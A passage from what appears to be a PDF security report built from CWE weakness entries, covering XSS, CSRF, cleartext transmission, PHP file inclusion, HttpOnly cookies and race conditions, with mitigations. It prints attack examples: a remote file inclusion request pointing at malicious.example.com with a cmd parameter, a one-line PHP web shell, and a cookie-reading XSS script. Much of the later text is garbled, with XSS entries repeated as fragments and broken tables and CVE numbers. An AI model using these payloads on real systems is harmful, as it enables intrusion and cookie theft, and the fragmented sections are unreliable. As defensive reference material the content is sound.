Use and specify a strong character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser
may choose a different encoding by guessing which encoding is actually being used by the web page. This can open you up to
subtle XSS attacks related to that encoding. See CWE-116 for more mitigations related to encoding/escaping.
With Struts, you should write all data from form beans with the bean's filter attribute set to true.
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the
HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session
cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since
HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide
read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
PAGE 50 OF 101
Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that
strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something
that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). However, blacklists
can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of
acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an
example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not
valid if you are expecting colors such as "red" or "blue."
When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the
parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but
all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to
continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data
from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a
field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is
recommended.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input
validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will
not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For
example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used.
However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped
or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because
the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a
mathematical forum that wants to represent inequalities.
Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to
protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it
may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper
encoding does not address.
Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application
even if a component is reused or moved elsewhere.
Phase: Operation
Use an application firewall that can detect attacks against this weakness. This might not catch all attacks, and it might require
some effort for customization. However, it can be beneficial in cases in which the code cannot be fixed (because it is controlled by
a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to
provide defense in depth.
Background Details
Same Origin Policy
The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site , or
"origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or
"origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide
Web involves interactions between many sites, this policy is important for browsers to enforce.
Domain
The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-
side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with
this particular site.
Weakness Ordinalities
Ordinality Description
Resultant (where the weakness is typically related to the presence of some other weaknesses)
Relationships
Nature Type ID Name Named Chain(s)
View(s) this relationship pertains to this relationship
pertains to
ChildOf Weakness 20 Improper Input Validation Seven Pernicious Kingdoms
Class (primary)700
ChildOf Weakness 74 Failure to Sanitize Data into a Development Concepts (primary)699
Class Different Plane ('Injection') Research Concepts (primary)1000
ChildOf Category 442 Web Problems Development Concepts699
ChildOf Category 712 OWASP Top Ten 2007 Category Weaknesses in OWASP Top Ten
A1 - Cross Site Scripting (XSS) (2007) (primary)629
A1 - Unvalidated Input (2004)711
A4 - Cross-Site Scripting (XSS) (2004) (primary)711
Flaws
ChildOf Category 751 2009 Top 25 - Insecure Weaknesses in the 2009 CWE/SANS
Interaction Between Top 25 Most Dangerous Programming
PAGE 51 OF 101
Components Errors (primary)750
CanPrecede Weakness 494 Download of Code Without Research Concepts1000
Base Integrity Check
PeerOf Compound 352 Cross-Site Request Forgery Research Concepts1000
Element: (CSRF)
Composite
ParentOf 80 Improper Sanitization of Script- Development Concepts (primary)699
Weakness
Related HTML Tags in a Web Research Concepts (primary)1000
Variant
Page (Basic XSS)
ParentOf Weakness 81 Improper Sanitization of Script Development Concepts (primary)699
Variant in an Error Message Web Page Research Concepts (primary)1000
ParentOf 83 Improper Neutralization of Development Concepts (primary)699
Weakness
Script in Attributes in a Web Research Concepts (primary)1000
Variant
Page
ParentOf Weakness 84 Failure to Resolve Encoded URI Development Concepts (primary)699
Variant Schemes in a Web Page Research Concepts (primary)1000
ParentOf Weakness 85 Doubled Character XSS Development Concepts (primary)699
Variant Manipulations Research Concepts (primary)1000
Weakness
Invalid Characters in Identifiers Research Concepts (primary)1000
Variant
in Web Pages
ParentOf Weakness 87 Failure to Sanitize Alternate Development Concepts (primary)699
Variant XSS Syntax Research Concepts (primary)1000
MemberOf 635 Weaknesses Used by NVD Weaknesses Used by NVD
View
(primary)635
CanFollow 113 Failure to Sanitize CRLF Research Concepts1000
Weakness
Sequences in HTTP Headers
Base
('HTTP Response Splitting')
CanFollow 184 Incomplete Blacklist Research Concepts1000 Incomplete
Weakness
Blacklist to Cross-
Base
Site Scripting692
f Causal Nature
Explicit
Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Cross-site scripting (XSS)
7 Pernicious Kingdoms Cross-site Scripting
CLASP Cross-site scripting
OWASP Top Ten 2007 A1 Exact Cross Site Scripting (XSS)
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
OWASP Top Ten 2004 A4 Exact Cross-Site Scripting (XSS) Flaws
WASC 8 Cross-site Scripting
Related Attack Patterns

CAPEC-ID Attack Pattern Name (CAPEC Version: 1.5)
232 Exploitation of Privilege/Trust
85 Client Network Footprinting (using AJAX/XSS)
86 Embedding Script (XSS ) in HTTP Headers
32 Embedding Scripts in HTTP Query Strings
18 Embedding Scripts in Nonscript Elements
19 Embedding Scripts within Scripts
63 Simple Script Injection
91 XSS in IMG Tags
106 Cross Site Scripting through Log Files
198 Cross-Site Scripting in Error Pages
199 Cross-Site Scripting Using Alternate Syntax
PAGE 52 OF 101
209 Cross-Site Scripting Using MIME Type Mismatch
243 Cross-Site Scripting in Attributes
244 Cross-Site Scripting via Encoded URI Schemes
245 Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript
246 Cross-Site Scripting Using Flash
247 Cross-Site Scripting with Masking through Invalid Characters in Identifiers
References
[REF-15] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks".
Syngress. 2007.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related
Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related
Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
"Cross-site scripting". Wikipedia. 2008-08-26. <http://en.wikipedia.org/wiki/Cross-site_scripting>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition.
Microsoft. 2002.
[REF-14] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <http://msdn.microsoft.com/en-us/library/ms533046.aspx>.
Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!".
<http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx>.
"OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
Ivan Ristic. "XSS Defense HOWTO". <http://blog.modsecurity.org/2008/07/do-you-know-how.html>.
OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
Web Application Security Consortium. "Web Application Firewall Evaluation Criteria".

<http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html>.
RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
"Apache Wicket". <http://wicket.apache.org/>.
[REF-16] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet".

<http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
Content History
Submissions
Submission Submitter Organization Source
Date
PLOVER Externally
Mined
Modifications
Modification Modifier Organization Source
Date
2008-07-01 Eric Dalci Cigital External
updated Time of Introduction
2008-08-15 Veracode External
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE Internal
updated Alternate Terms, Applicable Platforms, Background Details, Common Consequences,
Description, Relationships, Other Notes, References, Taxonomy Mappings, Weakness
Ordinalities
PAGE 53 OF 101
Demonstrative Examples, Description, Detection Factors, Enabling Factors for Exploitation,
Name, Observed Examples, Other Notes, Potential Mitigations, References, Relationships
updated Potential Mitigations
updated Name
updated Description
updated Observed Examples, Relationships
updated Demonstrative Examples, Description, Detection Factors, Enabling Factors for
Exploitation, Observed Examples
updated Applicable Platforms, Detection Factors, Potential Mitigations, References,
Relationships, Taxonomy Mappings
updated Description, Potential Mitigations, Related Attack Patterns
Previous
Entry Names
Change Date Previous Entry Name
2008-04-11 Cross-site Scripting (XSS)
2009-01-12 Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27 Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
BACK TO TOP
PAGE 54 OF 101
Client_DOM_XSS
Risk
What might happen
An attacker could use social engineering to cause a user to send the website engineered input, such as a URL with an engineered
anchor, causing the browser to rewrite web pages.
The attacker can then pretend to be the original website, which would enable the attacker to steal the user's password, request the
user’s credit card information, provide false information, or run malware.
From the victim’s point of view, this is the original website, and the victim would blame the site for incurred damage.
Cause
How does it happen
The application web page includes data from user input (including the page URL). The user input is embedded in the page, causing
the browser to display it as part of the web page.
If the input includes HTML fragments or JavaScript, these are displayed too, and the user cannot tell that this is not the intended
page.
The vulnerability is the result of embedding arbitrary user input without first encoding it in a format that would prevent the browser
from treating it like HTML instead of plain text.
General Recommendations
How to avoid it
1. Validate all input, regardless of source. Validation should be based on a whitelist: accept only data fitting a specified
structure, rather than reject bad patterns.
Check for:
● Data type
● Size
● Range
● Format
● Expected values
2. Fully encode all dynamic data before embedding it in the webpage.
3. Encoding should be context-sensitive. For example:
● HTML encoding for HTML content
● HTML Attribute encoding for data output to attribute values
● JavaScript encoding for JavaScript
4. Consider using the ESAPI4JS encoding library.
Source Code Examples
C#
For dynamically creating URLs in JavaScript, use the OWASP ESAPI4JS library:
window.location = ESAPI4JS.encodeForURL(input);
For creating dynamic HTML in JavaScript, use the OWASP ESAPI4JS library:
PAGE 55 OF 101
Java
For dynamically creating URLs in JavaScript, use the OWASP ESAPI4JS library:
For creating dynamic HTML in JavaScript, use the OWASP ESAPI4JS library:
Privacy_Violation
Risk
What might happen
A user’s personal information could be stolen by a malicious programmer, or an attacker that intercepts the data.
Cause
How does it happen
The application sends user information, such as passwords, account information, or credit card numbers, outside the application, such
as writing it to a local text or log file or sending it to an external web service.
How to avoid it
1. Personal data should be removed before writing to logs or other files.
2. Review the need and justification of sending personal data to remote web services.
Cleartext Transmission of Sensitive Information

Weakness ID: 319 (Weakness Base) Status: Draft
Description
Description Summary
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be
sniffed by unauthorized actors.
Many communication channels can be "sniffed" by attackers during data transmission.
For example, network traffic can often be sniffed by any attacker who has access to a
network interface. This significantly lowers the difficulty of exploitation by attackers.

 Operation
PAGE 56 OF 101
 System Configuration
Languages
Common Consequences
Scope Effect
Confidentiality Anyone can read the information by gaining access to the channel being used for communication.
Medium to High
Observed Examples
CVE-2002- Passwords transmitted in cleartext.

1949
CVE-2008- Chain: failure to set "secure" flag in HTTPS cookie causes it to be transmitted across unencrypted HTTP.
4122
CVE-2008- Product sends password hash in cleartext in violation of intended policy.

3289
CVE-2008- Remote management feature sends sensitive information including passwords in cleartext.
4390
CVE-2007- Backup routine sends password in cleartext in email.

5626
CVE-2004- Product transmits Blowfish encryption key in cleartext.

1852
CVE-2008- Printer sends configuration information, including administrative password, in cleartext.

0374
CVE-2007- Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to
4961 replay (CWE-294).
CVE-2007- Product sends passwords in cleartext to a log server.

4786
CVE-2005- Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
3140
Encrypt the data with a reliable encryption scheme before transmitting.
When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.
Phase: Testing
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools
that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This
is especially the case with weaknesses that are related to design and business rules.
Phase: Testing
Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This
technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify
that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running
process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon,
Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.
Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common
cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools
exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.
Phase: Operation
PAGE 57 OF 101
Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
Relationships
Nature Type ID Name View(s) this relationship pertains to
ChildOf Weakness 311 Missing Encryption of Sensitive Data Development Concepts (primary)699
Base Research Concepts (primary)1000
ChildOf Category 751 2009 Top 25 - Insecure Interaction Weaknesses in the 2009 CWE/SANS Top 25 Most
Between Components Dangerous Programming Errors (primary)750
ParentOf Weakness 5 J2EE Misconfiguration: Data Research Concepts (primary)1000
Variant Transmission Without Encryption
Taxonomy Mappings
PLOVER Plaintext Transmission of Sensitive Information

65 Passively Sniff and Capture Application Code Bound for Authorized Client
102 Session Sidejacking
References
OWASP. "Top 10 2007-Insecure Communications". <http://www.owasp.org/index.php/Top_10_2007-A9>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft.
2002.
Content History
Submissions
Date
PLOVER Externally
Mined
Modifications
Date
updated Relationships, Taxonomy Mappings
updated Common Consequences, Description, Likelihood of Exploit, Name, Observed
Examples, Potential Mitigations, References, Relationships
updated Related Attack Patterns
updated References
updated Applicable Platforms, Common Consequences, Time of Introduction
Previous Entry
Names
2009-01-12 Plaintext Transmission of Sensitive Information
BACK TO TOP
PAGE 58 OF 101
Client_DOM_XSRF
Risk
What might happen
An attacker could cause the victim to perform any action for which the victim is authorized, such as transferring funds from the
victim’s account to the attacker’s. The action will be logged as being performed by the victim.
Cause
How does it happen
The application performs some action that modifies database contents, based purely on HTTP request content, and does not require
per-request renewed authentication (such as transaction authentication or a cryptographic form token), instead relying on browser or
session authentication.
This means that an attacker could use social engineering to cause a victim to click a link including a transaction request, and the
application would trust the victim’s browser and would perform the action. This type of attack is known as Cross-Site Request
Forgery (XSRF or CSRF).
How to avoid it
Implement a standard or library anti-CSRF mechanism: preferably a built-in platform-provided mechanism or OWASP’s
CSRFGuard. Selective re-authentication or transaction authentication, such as with a cryptographic form token, is also acceptable.
C#
In ASP.NET-MVC, use the ValidateAntiForgeryToken attribute on sensitive methods:
[ValidateAntiForgeryToken]
Otherwise, explicitly use the ViewStateUserKey
protected override OnInit(EventArgs e)

{
base.OnInit(e);
if (User.Identity.IsAuthenticated)
{
ViewStateUserKey = Session.SessionID;
}
}
Java
Certain frameworks, such as Spring MVC, offer built in CSRF protection. Otherwise consider a standard library, such as
OWASP’s CSRFGuard:
PAGE 59 OF 101
<%@ taglib
uri="http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project/Owasp.Csrf
tld" prefix="csrf" %>
<csrf:form id="protectedForm" name="protectedForm" action="protect.jsp">
<input type="text" name="text" value="text"/>
<input type="submit" name="submit" value="submit"/>
</csrf:form>
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')
Description
Description Summary
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts
the input before its usage in "require," "include," or similar functions.
In certain versions and configurations of PHP, this can allow an attacker to specify a
URL to a remote location from which the software will obtain the code to execute. In
other cases in association with path traversal, the attacker can specify a local file that
may contain executable statements that can be parsed by PHP.
Alternate Terms
PHP
remote
file
inclusion
Local file This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is
inclusion not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files
: that may contain previously-injected PHP code, such as web access logs.
 Implementation
Languages
PHP: (Often)
Common Consequences
Scope Effect
Integrity Technical Impact: Execute unauthorized code or commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be
possible to use normal program behavior to insert php code into files on the local machine which can then be included
and force the code to execute since php ignores everything in the file except for the content between php specifiers.
High to Very High
Detection Methods
Manual Analysis
Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include
or require statements in each program.
Effectiveness: High
PAGE 60 OF 101
The external control or influence of filenames can often be detected using automated static analysis that models data flow within
the software.
Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false
positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a
customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those
routines.
Example 1
The following code attempts to include a function contained in a separate PHP page on
the server. It builds the path to the file by using the supplied 'module_name' parameter
and appending the string '/function.php' to it.
victim.php
(Bad Code)
Example Language: PHP
$dir = $_GET['module_name'];
include($dir . "/function.php");
The problem with the above code is that the value of $dir is not restricted in any way,
and a malicious user could manipulate the 'module_name' parameter to force inclusion
of an unanticipated file. For example, an attacker could request the above PHP page
(example.php) with a 'module_name' of "http://malicious.example.com" by using the
following request string:
(Attack)
victim.php?module_name=http://malicious.example.com
Upon receiving this request, the code would set 'module_name' to the value
"http://malicious.example.com" and would attempt to include
http://malicious.example.com/function.php, along with any malicious code it contains.
For the sake of this example, assume that the malicious version of function.php looks
like the following:
(Bad Code)
system($_GET['cmd']);
An attacker could now go a step further in our example and provide a request string as
follows:
(Attack)
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
The code will attempt to include the malicious function.php file from the remote site. In
turn, this file executes the command specified in the 'cmd' parameter from the query
string. The end result is an attempt by tvictim.php to execute the potentially malicious
command, in this case:
(Attack)
/bin/ls -l
Note that the above PHP example can be mitigated by setting allow_url_fopen to false,
although this will not fully protect the code. See potential mitigations.
Observed Examples
CVE-2004- Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
0285
0030
PAGE 61 OF 101
0068
2157
2162
2198
CVE-2004- Modification of assumed-immutable variable in configuration script leads to file inclusion.

0128
CVE-2005- PHP file inclusion.

1864

1869

1870
CVE-2005- PHP local file inclusion.

2154
CVE-2002- PHP remote file include.

1704

1707

1964

1681

2086
CVE-2004- Directory traversal vulnerability in PHP include statement.

0127

1971
CVE-2005- PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but
3335 many remote file inclusion issues probably have this vector.
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the
actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt".
Features such as the ESAPI AccessReferenceMap provide this capability.
Phases: Architecture and Design; Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating
system. This may effectively restrict all access to files within a particular directory.
For PHP, the interpreter offers restrictions such as open_basedir or safe_mode which can make it more difficult for an attacker to
escape out of the application. Also consider Suhosin, a hardened PHP extension, which includes various options that disable some
of the more dangerous PHP features.

For filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the
PAGE 62 OF 101
filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of
allowable file extensions, which will help to avoid CWE-434.
Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory
and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to
define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the
constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program
but not in the include files. It will also reduce your attack surface.
Phases: Architecture and Design; Implementation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything
read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail,
files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained
indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for
cookies and URL components.
Phases: Operation; Implementation
Strategy: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky
features in earlier PHP interpreters have been removed, restricted, or disabled by default.
Phases: Operation; Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your
application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to
weaknesses such as CWE-95, CWE-621, and similar issues.
Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may
assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals
combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an
extremely common pattern as of 2009.
Phase: Operation

Set allow_url_fopen to false, which limits the ability to include files from remote locations.
Effectiveness: High
Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the
code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote
file inclusion.
Relationships
ChildOf Category 632 Weaknesses that Affect Files or Resource-specific Weaknesses (primary)631
Directories
ChildOf Weakness Class 706 Use of Incorrectly-Resolved Research Concepts (primary)1000
Name or Reference
ChildOf Category 714 OWASP Top Ten 2007 Category Weaknesses in OWASP Top Ten (2007)
A3 - Malicious File Execution (primary)629
ChildOf Category 727 OWASP Top Ten 2004 Category Weaknesses in OWASP Top Ten (2004)
A6 - Injection Flaws (primary)711
ChildOf Category 802 2010 Top 25 - Risky Resource Weaknesses in the 2010 CWE/SANS Top 25 Most
Management Dangerous Programming Errors (primary)800
CanPrecede Weakness Class 94 Failure to Control Generation of Development Concepts699
Code ('Code Injection') Research Concepts1000
PeerOf Weakness Class 216 Containment Errors (Container Research Concepts1000
Errors)
CanAlsoBe Compound 426 Untrusted Search Path Research Concepts1000
Element:
Composite
CanFollow 73 External Control of File Name or Research Concepts1000
Weakness Class
Path
CanFollow Weakness Base 184 Incomplete Blacklist Research Concepts1000
PAGE 63 OF 101
CanFollow 425 Direct Request ('Forced Research Concepts1000
Weakness Base
Browsing')
CanFollow Weakness Base 456 Missing Initialization Research Concepts1000
CanFollow Weakness 473 PHP External Variable Research Concepts1000
Variant Modification
Relationship Notes
This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although
not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.
Can overlap directory traversal in local inclusion problems.
Research Gaps
Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product
vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions
is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less
likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.
Affected Resources
 File/Directory
Taxonomy Mappings
PLOVER PHP File Include
OWASP Top Ten 2007 A3 CWE More Specific Malicious File Execution
WASC 5 Remote File Inclusion

193 PHP Remote File Inclusion
References
[REF-12] Shaun Clowes. "A Study in Scarlet". <http://www.cgisecurity.com/lib/studyinscarlet.txt>.
[REF-13] Stefan Esser. "Suhosin". <http://www.hardened-php.net/suhosin/>.
Content History
Submissions
Date
PLOVER Externally
Mined
Modifications
Date
updated Relationships, Relationship Notes, Research Gaps, Taxonomy Mappings
updated Relationships
updated Description, Name
updated Alternate Terms, Applicable Platforms, Demonstrative Examples, Likelihood of Exploit,
Potential Mitigations, Time of Introduction
(Critical) converted from Compound Element to Weakness
updated Alternate Terms, Common Consequences, Detection Factors, Potential Mitigations,
References, Related Attack Patterns, Relationships, Taxonomy Mappings, Type
Previous
Entry Names
2008-04-11 PHP File Inclusion
2009-05-27 Insufficient Control of Filename for Include/Require Statement in PHP Program (aka
PAGE 64 OF 101
'PHP File Inclusion')
BACK TO TOP
PAGE 65 OF 101
Description
Description Summary
data.
different domain.
PAGE 66 OF 101
less suspicious.
Alternate Terms
XSS

 Implementation
Languages
Web-based: (Often)
Technology Classes
Web-Server: (Often)
Platform Notes
Common Consequences
Scope Effect
Access Control
Confidentiality
Integrity
PAGE 67 OF 101
High to Very High
Detection Methods
Black Box
Example 1
(Bad Code)
...
(Bad Code)
...
...
...
PAGE 68 OF 101
Example 2
(Bad Code)
<%
...
if (rs != null) {
rs.next();
%>

(Bad Code)
...
sda.Fill(dt);
...
Observed Examples

easier to avoid.
PAGE 69 OF 101

 HTML body
 URIs


recommended.
PAGE 70 OF 101
Phase: Operation
Background Details
Same Origin Policy
Domain
Relationships
pertains to
Class (primary)700
Flaws
Element: (CSRF)
Composite
Weakness
Variant
Page (Basic XSS)
Weakness
Variant
Page
Weakness
Variant
in Web Pages
MemberOf View 635 Weaknesses Used by NVD Weaknesses Used by NVD
PAGE 71 OF 101
(primary)635
Weakness
Base
Weakness
Blacklist to Cross-
Base
Site Scripting692
f Causal Nature
Explicit
Taxonomy Mappings

91 XSS in IMG Tags
References
Syngress. 2007.
PAGE 72 OF 101
Microsoft. 2002.


Content History
Submissions
Date
PLOVER Externally
Mined
Modifications
Date
Ordinalities
updated Name
updated Description
Previous
Entry Names
BACK TO TOP
PAGE 73 OF 101
HTTPOnlyCookies XSS
Compound Element ID: 10706 Status: Draft
Description
Description Summary
When a cookie is not marked with "httpOnly" can be exposed by any client-side scripting code,and thus
making the application vulnerable to XSS attacks.
 Implementation
 Operation
Languages
ASP.NET
Technology Classes
Web-Server
Example:
This example in ASP.NET shows us a vulnerable configuration of httpOnlyCookies in a
web.config file:
(Bad Code)
<configuration>
<system.web>
<httpCookies httpOnlyCookies="false">
Any form or a login page that requests an input and then echoes some of it back, may
be susceptible to an XSS attack.
The following code is an example of an input that may expose senstive data:
(Attack)
Example Language: HTML
"<script>alert(document.cookie);</script>".
The following input is received. If no proper escaping is done ,the browser interprets the
script and executes it, and by this revealing the user's cookie.
In case that the input received in a message borad or a forum, it might reveal sensitive
information and make it public.
Attackers usually use such script code to retrieve the userâ€™s authentication token.
Enable HttpOnlyCookies by setting the HttpOnlyCookies property of the HttpCookies
object to true.
This way the cookies will be accessible only from server-side code, and not to any
client-side scripting code.
PAGE 74 OF 101
Description
Description Summary
data.
different domain.
PAGE 75 OF 101
less suspicious.
Alternate Terms
XSS

 Implementation
Languages
Web-based: (Often)
Technology Classes
Web-Server: (Often)
Platform Notes
Common Consequences
Scope Effect
Access Control
Confidentiality
Integrity
PAGE 76 OF 101
High to Very High
Detection Methods
Black Box
Example 1
(Bad Code)
...
(Bad Code)
...
...
...
PAGE 77 OF 101
Example 2
(Bad Code)
<%
...
if (rs != null) {
rs.next();
%>

(Bad Code)
...
sda.Fill(dt);
...
Observed Examples

easier to avoid.
PAGE 78 OF 101

 HTML body
 URIs


recommended.
PAGE 79 OF 101
Phase: Operation
Background Details
Same Origin Policy
Domain
Relationships
pertains to
Class (primary)700
Flaws
Element: (CSRF)
Composite
Weakness
Variant
Page (Basic XSS)
Weakness
Variant
Page
Weakness
Variant
in Web Pages
MemberOf View 635 Weaknesses Used by NVD Weaknesses Used by NVD
PAGE 80 OF 101
(primary)635
Weakness
Base
Weakness
Blacklist to Cross-
Base
Site Scripting692
f Causal Nature
Explicit
Taxonomy Mappings

91 XSS in IMG Tags
References
Syngress. 2007.
PAGE 81 OF 101
Microsoft. 2002.


Content History
Submissions
Date
PLOVER Externally
Mined
Modifications
Date
Ordinalities
updated Name
updated Description
Previous
Entry Names
BACK TO TOP
PAGE 82 OF 101
Race Condition
Weakness ID: 362 (Weakness Class) Status: Draft
Description
Description Summary
The code requires that certain state should not be modified between two operations, but a timing window exists
in which the state can be modified by an unexpected actor or process.
This can have security implications when the expected synchronization is in security-
critical code, such as recording whether a user is authenticated, or modifying important
state information that should not be influenced by an outsider.

 Implementation
Concurrent Systems Operating on Shared Resources: (Often)
Common Consequences
Scope Effect
Availability When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization
routines, it may lead to resource exhaustion (CWE-400).
Availability
When a race condition allows multiple control flows to access a resource simultaneously, it might lead the
program(s) into unexpected states, possibly resulting in a crash.
Confidentiality
Integrity
When a race condition is combined with predictable resource names and loose permissions, it may be possible for
an attacker to overwrite or access confidential data (CWE-59).
Medium
Detection Methods
Black Box
Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections,
which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not
be detectable.
White Box
